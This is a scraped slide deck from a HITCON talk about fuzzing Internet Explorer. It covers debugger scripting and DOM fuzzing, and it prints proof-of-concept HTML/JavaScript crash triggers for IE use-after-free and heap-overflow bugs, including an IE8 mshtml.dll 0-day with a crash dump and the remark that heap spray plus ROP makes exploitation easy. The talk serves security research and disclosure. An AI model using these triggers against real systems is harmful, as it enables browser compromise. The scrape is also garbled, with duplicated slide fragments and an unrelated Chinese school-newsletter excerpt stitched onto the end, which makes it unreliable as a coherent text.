0-Day 甘苦談 (0-Day WTF Talk) Happy Fuzzing Internet Explorer HITCON

Size: px

Start display at page:

Download "0-Day 甘苦談 (0-Day WTF Talk) Happy Fuzzing Internet Explorer HITCON"

广镪束
5 years ago
Views:

1 0-Day 輕鬆談 (0-Day Easy Talk) Happy Fuzzing Internet Explorer HITCON <Orange@chroot.org>

2 0-Day 甘苦談 (0-Day WTF Talk) Happy Fuzzing Internet Explorer HITCON <Orange@chroot.org>

3 這是一場簡單的演講 This is an Easy Talk

4 分享一些我的 Fuzzing 心得 Share Some Fuzzing Review of Mine

5 以及很順便的丟個 0-Day 出來 And Disclosed a 0-Day in Passing

6 大家好 Hello, Everyone

7 我是 Orange This is Orange Speaking

8 現任大學生 I am a College Student, Now

9 CHROOT.org 成員 Member of CHROOT.org

10 DevCo.re 打工中 Part-Time Work at DevCo.re

11 揭露過一些弱點 Disclosed Some Vulnerabilities cve cve (MS12-071)

12 About Me 蔡政達 aka Orange 2009 台灣駭客年會競賽冠軍 2011, 2012 全國資安競賽金盾獎冠軍 2011 東京 AVTOKYO 講師 2012 香港 VXRLConf 講師台灣 PHPConf, WebConf, PyConf 講師專精於駭客攻擊手法 Web Security Windows Vulnerability Exploitation

13 如果對我有興趣可以到 blog.orange.tw If You are Interesting at Me. You Can Visit blog.orange.tw

14 我專注於 Web Security & 網路滲透 I Focus on / Interested in Web Security & Network Penetration

15 但今天來聊聊 0-Day 以及 Fuzzing ( 不是我專門的領域 QQ) But Today Let's Talk About 0-Day and Fuzzing (I am Not Expert in This, But Just Share)

16 Conference-Driven 0-Day n. 名詞釋義 : 為了研討會生 0-Day

17 在找 0-Day 中的一些筆記 Some Notes in Finding 0-Day

18 這次我們討論 IE This Time We Talk About IE

20 Hacker's Good Friend

21 方法 White Box Code Review (IE5.5 Source Code) 二話不說丟進 IDA Black Box Fuzzing

22 Fuzzing Garbage in Garbage out 理論上可以找到所有漏洞前提是你有無限的時間

23 時間越多, 0-Day 越多 - 貝拉克. 歐巴馬

24 Fuzzing Model Generator Logger Result Debugger

26 Debugger Windows Debug API DebugActiveProcess WaitForDebugEvent ContinueDebugEvent 好麻煩快速客制化的 Debugger

27 PyDBG A Pure Python Windows Debugger Interface

28 Debug a Process >>> import pydbg >>> dbg = pydbg() >>> dbg.load( file ) # or dbg.attach( pid ) >>> dbg.run()

29 Set Breakpoint >>> dbg.bp_set( address, callback ) >>> dbg.set_callback( exception_code, callback )

30 Memory Manipulation >>> dbg.read( address, length ) >>> dbg.write( address, length )

31 Crash Dump Report >>> bin = utils.crash_binning.crash_binning() >>> bin.record_crash( dbg ) >>> bin.crash_synopsis()

32 Logger (Filter) 滿山滿谷的崩潰不是所有的 Crash 能成為 Exploit 九成以上是 Null Pointer 只能當 DoS 用 mov eax, [ebx+0x70] ; ebx = 0 EIP Disassemble jmp reg call reg call [reg + CONST] Stack SHE Chain

33 EIP = ffffffff!!?

34 0x50000 = = (65535 / 2)*10 The Value We Can Control

35 File Generator The Most Important Part of Fuzzing

36 File Generator 內容越機歪越好, 當然還是要符合 Spec 熟讀 Spec 熟悉 File Structure 想像力是你的超能力

37 Fuzzing 方向 1) 找新型態弱點 ( 麻煩但可通用 ) 2) 找已知型態弱點 ( 快速但有針對性 )

新型態弱點試試比較新或比較少人用的 HTML5 Canvas SVG VML cve-2013-2551 / VML

38 新型態弱點試試比較新或比較少人用的 HTML5 Canvas SVG VML cve / VML Integer Overflow / Pwn2own / VUPEN WebGL IE11 Begin to Support

40 已知型態弱點研究以往的弱點我們可以知道 Internet Explorer is Not Good at Parsing DOM Tree Parsing <TABLE> with <TR> & <TD> Parsing <TABLE> with <COL> CTreeNode & CTableLayout

41 Pseudo Scenario of Use-After-Free 1. <foo> 2. <bla id=x> 3. <bar id=y> </bar> 6. </bla> 7. </foo> 1. <script> 2. var x = document.getelementbyid( 'x' ); 3. var y = document.getelementbyid( 'y' ); 4. x.innerhtml = 'AAAA '; 5. y.length = 100px; 6. </script>

42 Ex: CVE (Not Full Version) 1. <body> 2. <script> 3. document.body.innerhtml += "<object >TAG_1</object>"; 4. document.body.innerhtml += "<aid='tag_3' style=' '>TAG_3</a>"; 5. document.body.innerhtml +="AAAAAAA"; 6. document.body.innerhtml += "<strong style=' '>TAG_11</strong>"; 7. </script> 8. </body>

$<col id="132" width="41" span="1" > </col> 4. </col> 5. </TABLE> 1. function trigger() { 2. var obj_col = document.getelementbyid("132"); 3. obj_col.width = "42765"; 4.$

43 Ex: CVE (Heap Overflow) 1. <script> settimeout("trigger();",1); </script> 2. <TABLE style="table-layout: fixed; "> 3. <col id="132" width="41" span="1" > </col> 4. </col> 5. </TABLE> 1. function trigger() { 2. var obj_col = document.getelementbyid("132"); 3. obj_col.width = "42765"; 4. obj_col.span = 1000; 5. }

44 Fuzzing with DOM Tree Using DOM Methods to Manipulate Objects CreateElement removechild appendchild InnerHTML outertext createrange addeventlistener select

45 Putting All Together 1) Randomize HTML Node for Initial 2) Manipulated Nodes with DOM Method ( Can Also Play with CSS at the Same Time)

47 運氣不好, 是人品問題 - 貝拉克. 歐巴馬

48 Generally, Single Machine Run Can Find 1 or 2 IE 0-Day in a Month I Have Successfully Found 0-Days from IE6 to IE9, For IE10+ I Haven't Tried Because I am Too Lazy : (

49 So I Found a 0-Day For HITCON 1) Work on Internet Explore 8 2) Mshtml.dll

51 WinXP 還能再戰十年

52 Proof-of-Concept

53 <html> <script> var x = document.getelementbyid('eee'); x.innerhtml = ''; </script> <body> <table> </table> </body> </html>

54 Microsoft is Our Sponsor I Can't Say More Detail Until Patched : (

55 Call Stack

56 call edx (e10.950): Access violation - code c (!!! second chance!!!) eax=3dbf00a4 ebx=0019bb30 ecx=037f12c8 edx=085d8b53 esi=0172b130 edi= eip=085d8b53 esp=0172b100 ebp=0172b11c iopl=0 zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= d8b53????? nv up ei pl

57 Writing Exploit Windows Protection DEP Luckily If Windows XP We Don't Care About ASLR Luckily It is Not IE10+ that It Hasn't vtable Guard

58 So, Writing Exploit is Easy Heap Spray + ROP Enough

59 Demo

61 本來故事到這有個美滿的結局 Originally, This Story Have a Happy Ending

62 But 人生最精彩的就是這個 But

63 0-Day 在 HITCON 前一週被修掉了 Silent Fixed Before a Week of HITCON

64 What the

65 Proof-of-Concept 1. <!DOCTYPE html> 2. <table> 3. <tr><legend><span > 4. <q id='e'> 5. <a align="center"> <th> O </th> </a> 6. </q> 7. </span></legend></tr> 8. </table> 9. </html> 1. window.onload = function(){ 2. var x = document.getelementbyid('e'); 3. x.outertext = ''; 4. }

66 Work on mshtml.dll # mshtml.dll... # 2013 / 05 / 14 mshtml.dll # 2013 / 06 / 11 mshtml.dll # 2013 / 07 / 09

67 Reference VUEPN Blog Paimei Special Thank tt & nanika

68 Thanks

Untitiled

Untitiled 目立人1 2011 录目录专家视点权利与责任班主任批评权的有效运用齐学红 3 德育园地立沿着鲁迅爷爷的足迹主题队活动案例郑海娟 4 播下一颗美丽的种子沿着鲁迅爷爷的足迹中队活动反思郑海娟 5 赠人玫瑰手有余香关于培养小学生服务意识的一些尝试和思考孙勤 6 人教海纵横 2011 年第 1 期总第 9 期主办单位绍兴市鲁迅小学教育集团顾问编委会主任编